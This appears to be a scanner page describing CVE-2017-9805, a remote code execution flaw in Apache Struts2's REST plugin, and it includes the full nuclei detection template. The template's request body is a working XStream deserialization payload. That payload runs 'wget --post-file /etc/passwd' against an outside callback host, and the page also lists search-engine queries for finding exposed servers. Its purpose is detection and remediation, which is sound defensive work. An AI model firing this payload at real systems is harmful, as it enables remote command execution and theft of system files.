Apache Struts2 S2-052 - Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-11-03; known to be used by ransomware.

highseverity

8.1CVSS score

99.4%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type of filtering, which can lead to remote code execution when deserializing XML payloads.

Impact

Remote code execution

Fix

Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.

How to confirm it

Send: POST {{BaseURL}}/struts2-rest-showcase/orders/3 ; POST {{BaseURL}}/orders/3
Positive when: contains "Debugging information" and "com.thoughtworks.xstream.converters.collections.MapConverter" AND status 500

Run it with nuclei: nuclei -id CVE-2017-9805 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2017-9805

info:
  name: Apache Struts2 S2-052 - Remote Code Execution
  author: pikpikcu
  severity: high
  description: The REST Plugin in Apache Struts 2.1.1 through 2.3.x before 2.3.34 and 2.5.x before 2.5.13 uses an XStreamHandler with an instance of XStream for deserialization without any type of filtering, which can lead to remote code execution when deserializing XML payloads.
  impact: |
    Remote code execution
  remediation: |
    Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2.
  reference:
    - http://www.oracle.com/technetwork/security-advisory/alert-cve-2017-9805-3889403.html
    - https://struts.apache.org/docs/s2-052.html
    - https://nvd.nist.gov/vuln/detail/CVE-2017-9805
    - http://www.securitytracker.com/id/1039263
    - https://blogs.apache.org/foundation/entry/apache-struts-statement-on-equifax
  classification:
    cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.1
    cve-id: CVE-2017-9805
    cwe-id: CWE-502
    epss-score: 0.99396
    epss-percentile: 0.99941
    cpe: cpe:2.3:a:apache:struts:2.1.2:*:*:*:*:*:*:*
  metadata:
    max-request: 2
    vendor: apache
    product: struts
    shodan-query:
      - http.html:"apache struts"
      - http.title:"struts2 showcase"
      - http.html:"struts problem report"
    fofa-query:
      - body="struts problem report"
      - title="struts2 showcase"
      - body="apache struts"
    google-query: intitle:"struts2 showcase"
  tags: cve,cve2017,apache,rce,struts,kev,vkev,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/struts2-rest-showcase/orders/3"
      - "{{BaseURL}}/orders/3"

    body: |
      <map>
        <entry>
          <jdk.nashorn.internal.objects.NativeString>
            <flags>0</flags>
            <value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
              <dataHandler>
                <dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
                  <is class="javax.crypto.CipherInputStream">
                    <cipher class="javax.crypto.NullCipher">
                      <initialized>false</initialized>
                      <opmode>0</opmode>
                      <serviceIterator class="javax.imageio.spi.FilterIterator">
                        <iter class="javax.imageio.spi.FilterIterator">
                          <iter class="java.util.Collections$EmptyIterator"/>
                          <next class="java.lang.ProcessBuilder">
                            <command>
                              <string>wget</string>
                              <string>--post-file</string>
                              <string>/etc/passwd</string>
                    <string>{{interactsh-url}}</string>
                            </command>
                            <redirectErrorStream>false</redirectErrorStream>
                          </next>
                        </iter>
                        <filter class="javax.imageio.ImageIO$ContainsFilter">
                          <method>
                            <class>java.lang.ProcessBuilder</class>
                            <name>start</name>
                            <parameter-types/>
                          </method>
                          <name>asdasd</name>
                        </filter>
                        <next class="string">asdasd</next>
                      </serviceIterator>
                      <lock/>
                    </cipher>
                    <input class="java.lang.ProcessBuilder$NullInputStream"/>
                    <ibuffer></ibuffer>
                    <done>false</done>
                    <ostart>0</ostart>
                    <ofinish>0</ofinish>
                    <closed>false</closed>
                  </is>
                  <consumed>false</consumed>
                </dataSource>
                <transferFlavors/>
              </dataHandler>
              <dataLen>0</dataLen>
            </value>
          </jdk.nashorn.internal.objects.NativeString>
          <jdk.nashorn.internal.objects.NativeString reference="../jdk.nashorn.internal.objects.NativeString"/>
        </entry>
        <entry>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
          <jdk.nashorn.internal.objects.NativeString reference="../../entry/jdk.nashorn.internal.objects.NativeString"/>
        </entry>
      </map>

    headers:
      Content-Type: application/xml

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "Debugging information"
          - "com.thoughtworks.xstream.converters.collections.MapConverter"
        condition: and

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from